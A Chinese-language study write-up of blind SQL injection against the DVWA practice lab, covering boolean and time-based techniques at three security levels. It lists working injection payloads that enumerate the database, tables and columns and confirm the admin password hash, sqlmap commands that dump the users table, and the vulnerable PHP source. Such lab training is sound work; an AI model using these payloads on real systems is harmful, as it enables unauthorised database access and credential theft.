SQL Injection(Blind),SQL盲注,相比于常规的SQL注入,他不会将返回具体的数据信息或语法信息,只会将服务器包装后的信息返回到页面中。
常规SQL注入与SQL盲注详细对比
SQL注入 | 1.执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提示SQL语法不正确等。 2.一般在页面上直接就会显示执行sql语句的结果。 |
SQL盲注 | 1.一般情况,执行SQL盲注,服务器不会直接返回具体的数据库错误or语法错误,而是会返回程序开发所设置的特定信息(也有特例,如基于报错的盲注) 2.一般在页面上不会直接显示sql执行的结果 3.有可能出现不确定sql是否执行的情况 |
布尔盲注与时间盲注对比
布尔盲注
可通过构造真or假判断条件(数据库各项信息取值的大小比较,如:字段长度、版本数值、字段名、字段名各组成部分在不同位置对应的字符ASCII码...),将构造的sql语句提交到服务器,然后根据服务器对不同的请求返回不同的页面结果(True、False);然后不断调整判断条件中的数值以逼近真实值,特别是需要关注响应从True<-->False发生变化的转折点。
时间盲注
通过构造真or假判断条件的sql语句,且sql语句中根据需要联合使用sleep()函数一同向服务器发送请求,观察服务器响应结果是否会执行所设置时间的延迟响应,以此来判断所构造条件的真or假(若执行sleep延迟,则表示当前设置的判断条件为真);然后不断调整判断条件中的数值以逼近真实值,最终确定具体的数值大小or名称拼写。
SQL盲注流程
1.判断是否存在注入,注入的类型
2.猜解当前数据库名称
3.猜解数据库中的表名
4.猜解表中的字段名
5.获取表中的字段值
6.验证字段值的有效性
7.获取数据库的其他信息:版本、用户…
Low
判断注入点和类型
输入 1提交
输入1 and 1=1,显示存在
输入1 and 1=2,也显示存在,由此说明不是数字型注入
输入1’ and 1=1#,显示存在
输入1’ and 1=3#,显示不存在,由此发现应该是字符型漏洞
输入1" and 1=1#,显示存在
输入1" and 1=3#,也显示存在,说明不是双引号注入
只有真假两种情况下回显**不一样**才能判别。
综上可以看出是字符串单引号注入
猜解当前数据库名称
ASCII查询对照表:[http://ascii.911cha.com/](http://ascii.911cha.com/)
猜测数据库名的第一个字符ASCII的取值范围
由于是DVWA靶场,所以合理猜测数据库名为dvwa(如果是其他场景下,需要不断修改数值,缩小取值范围,最终确定一个取值)
|输入语句|显示结果|
| -------------------------------------------| -------------------------------------------------|
|1' and ascii(substr(database(),1,1))>97#|显示存在,说明第一个字符是一个小写字母且不是a。|
|1' and ascii(substr(database(),1,1))=100#|显示存在,说明第一个是d|
|1'and ascii(substr(database(),2,1))=118#|显示存在,说明第二个是v|
|1' and ascii(substr(database(),3,1))=119#|显示存在,说明第三个是w|
|1'and ascii(substr(database(),4,1))=97#|显示存在,说明第四个是a|
确定dvwa数据库中表的数量
|输入语句|显示结果|
| ---------------------------------------------------------------------------------------------------| -------------------------|
|1'and (select count(table_name) from information_schema.tables where table_schema=database())=1#|不存在|
|1'and (select count(table_name) from information_schema.tables where table_schema=database())>2#|不存在,说明表的数量是2|
|1'and (select count(table_name) from information_schema.tables where table_schema=database())=2 #|存在,猜想验证成功|
确定dvwa数据库中表名的长度
输入语句分布解析:
1.查询列出当前连接数据库下的所有表名称
select table_name from information_schema.tables where table_schema=database()
2.列出当前连接数据库中的第1个表名称
select table_name from information_schema.tables where table_schema=database() limit 0,1
PS:limit 结果编号(从0开始),返回结果数量
3.计算当前连接数据库第1个表名的字符串长度值
length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))
4.将当前连接数据库第1个表名称长度与某个值比较作为判断条件,联合and逻辑构造特定的sql语句进行查询,根据查询返回结果猜解表名称的长度值
1’ and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>10 #
|输入语句|显示结果|
| --------------------------------------------------------------------------------------------------------------| -------------------------------|
|1'and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>10#|不存在|
|1'and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>8#|存在,说明dvwa第一个表长度为9|
|1'and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9#|存在,验证成功|
同理可以对第二个表的长度进行猜测:
|输入语句|显示结果|
| -------------------------------------------------------------------------------------------------------------| ---------------------------|
|1'and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=5#|存在,dvwa第二个表长度为5|
猜解数据库中的表名
确定dvwa数据库中表的名字
与确定数据库名字类似,用到ascii()和substr()两个函数。
substr(str,1,1):从str的第一个字符开始,截取长度1 == 取str的第一个字符
limit 0,1:0-查询结果的第一个;1-返回一条查询结果。 eg: limit 3,5 就是返回第4-8条数据。
|输入语句|显示结果|
| --------------------------------------------------------------------------------------------------------------------------| --------------------------------------------------------------------------------|
|1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103#|显示存在,第一个表的第一个字符是g,以此类推可以确定第一个表的名字是guestbook。|
|1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=117#|存在,第二个表的第一个字符是u,以此类推可以确定第二个表的名字是users|
猜解表中的字段名
确定users表中的字段数目
|输入语句|显示结果|
| -----------------------------------------------------------------------------------------------------------------------------| ----------------------------|
|1'and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)>4#|存在|
|1'and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)>9#|不存在|
|1'and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)>7#|存在|
|1'and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)=8#|存在所以users表中有8个字段|
获取表中的字段值
确定users表中的8个字段长度
|输入语句|显示结果|
| --------------------------------------------------------------------------------------------------------------------------------------------| ------------------------------------|
|1'and length((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1))>10#|不存在|
|1'and length((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1))>6#|存在|
|1'and length((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1))>8#|不存在|
|输入1'and length((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1))=7#|存在说明users表的第一个字段长度为7|
同理可以获取其他7个字段的长度
确定users表中的8个字段名字
由于表中的字段数目比较多,长度比较长,如果采用之前的按字符猜测,会很耗时间。根据我们的需要,判断users表中是否含有用户名和密码字段即可。
根据经验猜测用户名和密码的字段名字如下:
用户名:username/user_name/uname/u_name/user/…
密码:password/pass_word/pwd/pass/…
* 猜用户名
```
1'and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='username')=1 #
```
显示不存在,更换字段名再尝试,发现**user**显示存在
* 猜密码
```
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1 #
```
显示存在
综上可知,users表中的用户名和密码字段分别为**user**和**password**。
获取user和password的字段值
password在存储的时候进行了MD5加密。
同样先进行猜测碰撞,如果不行再逐个筛选。
```
1' and (select count(*) from users where user='admin')=1 #
```
显示存在
```
1' and (select count(*) from users where user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99')=1 #
```
显示存在
综上可知一组用户名-密码:admin-password。
利用sqlmap工具
获取库名
先获取cookie
sqlmap -u "http://192.168.0.103:8080/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=kc7cpi0krj7eha0mi64siuhvis; security=low" --batch --dbs
获取表名
sqlmap -u "http://192.168.0.103:8080/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=kc7cpi0krj7eha0mi64siuhvis; security=low" --batch -D dvwa --tables
获取列名
sqlmap -u "http://192.168.0.103:8080/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=kc7cpi0krj7eha0mi64siuhvis; security=low" --batch -D dvwa -T users --columns
获取数据
sqlmap -u "http://192.168.0.103:8080/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=kc7cpi0krj7eha0mi64siuhvis; security=low" --batch -D dvwa -T users --dump
源码分析
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
//最后的判断只有两种
num大于0输出User ID exists in the database
num小于等于0 输出User ID is MISSING from the database
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
Medium
这里直接跳过Medium的等级除了是post传参和我写的sql注入基本差不多只不过是加了盲注
利用sqlmap工具
因为是Post传参所以要使用data参数把数据当年成post传给数据库
sqlmap -u "http://192.168.0.103:8080/vulnerabilities/sqli_blind/#" --cookie="PHPSESSID=kc7cpi0krj7eha0mi64siuhvis; security=medium" --data="id=1&Submit=Submit" --dbs
之后和low等级操作一样
源码分析
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
//user中x00,n,r,,’,”,x1a转义,防SQL注入
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
high
对于LIMIT 1的限制输出记录数目,可以利用#
注释其限制;服务端可能会随机执行sleep()函数,做执行,则延迟的时间是随机在2-4s,这样会对正常的基于时间延迟的盲注测试造成干扰。因此可以考虑用基于布尔的盲注进行测试。
可以参考Low级别的代码:
1' #
1' and (select ascii(substr(database(),1,1)) = 114) #
1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1)) = 103) #
1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) = 99) #
1' and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) = 49) #
利用sqlmap工具
- High级别的查询数据提交的页面、查询结果显示的页面是分离成了2个不同的窗口分别控制的。即在查询提交窗口提交数据(POST请求)之后,需要到另外一个窗口进行查看结果(GET请求)。若需获取请求体中的Form Data数据,则需要在提交数据的窗口中查看网络请求数据or通过拦截工具获取
- High级别的查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止常规的SQLMap扫描注入测试,因为SQLMap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入;但是并不代表High级别不能用SQLMap进行注入测试,此时需要利用其非常规的命令联合操作,如:
--second-url="xxxurl"
(设置二阶响应的结果显示页面的url),具体的操作命令可参看==>https://www.jianshu.com/p/fa77f2ed788b
这关使用sqlmap主要注意要比low关增加一个参数--level 2,这样才会检测cookie中是否包含注入点(默认--level 1,不检测cookie)
sqlmap -u "192.168.0.103:8080/vulnerabilities/sqli_blind/cookie-input.php#" --data="id=1&Submit=Submit" --second-url="http://192.168.0.103:8080/vulnerabilities/sqli_blind/" --cookie="id=1; PHPSESSID=kc7cpi0krj7eha0mi64siuhvis; security=high" --dbs --batch --technique B --level 2
后续操作都是一样的
源码分析
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
//【select * from tableName limit i,n 】
tableName : 为数据表;
i : 为查询结果的索引值(默认从0开始);
n : 为查询结果返回的数量
查询第一条数据
select * from student limit 1
查询第二条数据
select * from student limit 1,1
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
这是本周的学习成果,继续加油!